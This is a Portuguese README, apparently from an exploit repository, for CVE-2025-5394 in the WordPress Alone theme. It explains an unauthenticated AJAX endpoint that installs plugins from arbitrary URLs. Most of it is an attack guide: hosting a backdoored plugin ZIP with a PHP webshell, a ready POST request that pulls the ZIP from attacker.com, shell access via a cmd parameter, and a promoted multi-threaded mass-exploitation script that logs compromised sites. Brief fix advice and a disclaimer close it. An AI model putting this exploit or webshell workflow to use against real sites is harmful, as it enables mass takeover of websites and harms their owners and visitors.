CVE-2025-5394 – Tema Alone do WordPress <= 7.8.3 - Upload Arbitrário de Arquivo Não Autenticado via Instalação de Plugin

🔥 Resumo da Vulnerabilidade
O tema Alone do WordPress versões <= 7.8.3 é vulnerável a uma vulnerabilidade de upload arbitrário de arquivo não autenticado. Essa falha permite que atacantes não autenticados façam upload e instalem arquivos ZIP de plugins arbitrários a partir de URLs remotas por meio de um endpoint AJAX desprotegido — resultando em execução remota de código (RCE) ao implantar plugins com backdoor.

Esta vulnerabilidade se origina da função beplus_import_pack_install_plugin exposta ao público via wp_ajax_nopriv_ sem qualquer verificação de autenticação ou capacidade. A função instala e ativa um plugin a partir de uma URL fornecida pelo usuário.

🔍 Tema Afetado

• Nome do Tema: Alone – Tema WordPress de Caridade Multifuncional Sem Fins Lucrativos
• Versão Afetada: <= 7.8.3
• Tipo de Vulnerabilidade: Upload Arbitrário de Arquivo Não Autenticado → RCE
• CVE ID: CVE-2025-5394
• Pontuação CVSS: 9.8 (Crítico)
• Impacto: Execução remota de código total (RCE) e comprometimento total do site

🧪 Características do Exploit

• 🔓 Nenhuma autenticação necessária
• 📦 Faz upload de ZIP de plugin malicioso diretamente de URL remota
• 🚀 Instala e ativa automaticamente o plugin
• 🐚 Entrega de webshell suportada via PHP embutido no plugin
• ✅ Endpoint AJAX acessível por usuários não autenticados: /wp-admin/admin-ajax.php?action=beplus_import_pack_install_plugin

🧠 Pesquisador

• Crédito: Thai An

🚀 Uso

1. Prepare um arquivo ZIP de plugin malicioso hospedado em um servidor que você controla.

   • Deve conter um cabeçalho de plugin válido (Plugin Name:) e backdoor PHP (ex.: bk.php)

2. Elabore a seguinte requisição POST:

   POST /wp-admin/admin-ajax.php HTTP/1.1
   Host: victim.com
   Content-Type: application/x-www-form-urlencoded
   
   action=beplus_import_pack_install_plugin&
   data[plugin_slug]=hello-dolly&
   data[plugin_source]=https://attacker.com/hello-dolly.zip
   

3. Se bem-sucedido, o plugin é instalado e ativado. Acesse seu shell em:

   https://victim.com/wp-content/plugins/hello-dolly/bk.php?cmd=id
   

🧰 Script de Exploração em Massa Este repositório inclui uma ferramenta de exploração em massa com:

• Processamento multi-thread
• Prefixação automática de HTTPS (se ausente)
• Registro ao vivo de alvos bem-sucedidos em result.txt

Veja mass_beplus_exploit.py para detalhes.

🛠 Recomendações de Correção

• Os autores do tema devem remover ou proteger o hook wp_ajax_nopriv_beplus_import_pack_install_plugin.
• Implementar verificações de autenticação/capacidade (ex.: current_user_can('install_plugins'))
• Validar e restringir fontes de plugins.
• Usar um Firewall de Aplicação Web (WAF) para bloquear acesso não autorizado ao admin-ajax.

🔒 Aviso Legal:
Esta informação é fornecida apenas para fins educacionais e de teste de segurança autorizado. O acesso ou uso não autorizado de sistemas de computador é ilegal e antiético.

📚 Referência:

• Comunicado da Wordfence – CVE-2025-5394

CVE: CVE-2025-5394
Pesquisador: Thai An